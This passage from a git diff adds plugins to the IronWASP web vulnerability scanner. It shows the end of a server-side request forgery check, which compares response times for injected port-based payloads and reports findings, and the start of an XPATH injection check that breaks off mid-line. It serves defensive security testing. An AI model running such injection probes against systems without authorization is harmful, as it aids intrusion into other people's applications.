Rechecking to confirm.>") + continue + elif i == 1: + if first_time_pattern == second_time_pattern: + self.scnr.Trace(">>Response times for invalid port based payloads are similar to each other and are different from response times for valid port based payload. Indicates presence of SSRF.>") + response_trigger_descs = [] + response_trigger_descs.append("This response time is different from the response time of the next trigger but is similar to the response time of the trigger after the next.") + response_trigger_descs.append("This response time is different from the response time of the previous trigger but is similar to the response time of the trigger after the next.") + response_trigger_descs.append("This response time is different from the response time of the next trigger but is similar to the response time of the trigger before the previous.") + response_trigger_descs.append("This response time is different from the response time of the previous trigger but is similar to the response time of the trigger before the previous.") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], True, [res_a.RoundTrip, res_a1.RoundTrip, res_b.RoundTrip, res_b1.RoundTrip], self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + return + else: + self.scnr.Trace(">The pattern in the response times is inconsistent and therefore does not indicate SSRF") + return + elif not (relaxed_group_matched or strict_group_matched): + self.scnr.Trace(">The responses did not fall in any patterns that indicate SSRF") + break + + def SetConfidence(self, conf): + if conf > self.confidence: + self.confidence = conf + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportSSRF() + + def ReportSSRF(self): + self.scnr.SetTraceTitle("Server Side Request Forgery Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Server Side Request Forgery Found" + pr.Summary = "Server Side Request Forgery been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + if self.confidence == 3: + pr.Confidence = FindingConfidence.High + elif self.confidence == 2: + pr.Confidence = FindingConfidence.Medium + else: + pr.Confidence = FindingConfidence.Low + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Server Side Request Forgery is an issue where it is possible to forge an HTTP request on the server-side by sending the url in a request. For more details on this issue refer >http://cwe.mitre.org/data/definitions/918.html>>>" + return Summary + + + def GetDiffReason(self, payloads, time, time_delays, trigger_start, trigger_count): + Reason = "IronWASP sent four payloads to the application.>" + ids = ["A", "B", "C", "D"] + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason +"Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + Reason = Reason + ">Payloads A and C are similar in nature. They both refer to ports 65555 and 66666 on the server which are invalid ports." + Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They both refer to ports 1 and 2 on the server which are valid ports." + Reason = Reason + ">If the application is vulnerable to SSRF then it will try to connect to these ports and connections to invalid potrs with throw an exception of different type than the exception or error caused by connecting to the valid ports 1 and 2 which are most likely to be closed." + + Reason = Reason + ">This would mean that the response for Payloads A & C must be similar to each other and different from responses for Payloads B&D. " + if time: + Reason = Reason + ">>The responses for the injected payloads were analyzed and it was found that the response times for Payloads A & C were similar to each other and were also different from response times for Payloads B & D, thereby indicating the presence of this vulnerability." + Reason = Reason + ">The responses times for the four payloads were:" + Reason = Reason + ">Payload A - {0}ms".format(time_delays[0]) + Reason = Reason + ">Payload B - {0}ms".format(time_delays[1]) + Reason = Reason + ">Payload C - {0}ms".format(time_delays[2]) + Reason = Reason + ">Payload D - {0}ms".format(time_delays[3]) + else: + Reason = Reason + ">>The responses for the injected payloads were analyzed and it was found that Payloads A & C got a similar looking response and were also different from responses got from Payloads B & D, thereby indicating the presence of this vulnerability." + + #Trigger + trigger_ids = [] + for i in range(trigger_start + 1, trigger_start + trigger_count + 1): + trigger_ids.append(i) + + if time: + ReasonType = "Delay" + else: + ReasonType = "Diff" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the responses received for Payloads A, B, C and D. Analyze these payloads and verify if indeed A & C got similar responses and were different from B & D. " + FalsePositiveCheck = FalsePositiveCheck + "You can also change the payloads for A & C by chaning the port number to some other invalid port and change payloads B & D to some other valid port numbers and check of the four response show the same pattern as before." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, trigger_ids, FalsePositiveCheck) + return FR + +p = ServerSideRequestForgery() +ActivePlugin.Add(p.GetInstance()) + + diff --git a/plugins/active/XPATHInjection.py b/plugins/active/XPATHInjection.py new file mode 100644 index 0000000..ec0e718 --- /dev/null +++ b/plugins/active/XPATHInjection.py @@ -0,0 +1,91 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +#Inherit from the base ActivePlugin class +class XPATHInjection(ActivePlugin): + error_strings = [] + + def GetInstance(self): + p = XPATHInjection() + p.Name = "XPATH Injection" + p.Description = "Active plugin that checks for XPATH Injection" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.reason = "" + self.CheckForXPATHInjection() + + def CheckForXPATHInjection(self): + self.scnr.Trace(">>Checking for XPATH Injection:>") + payload = "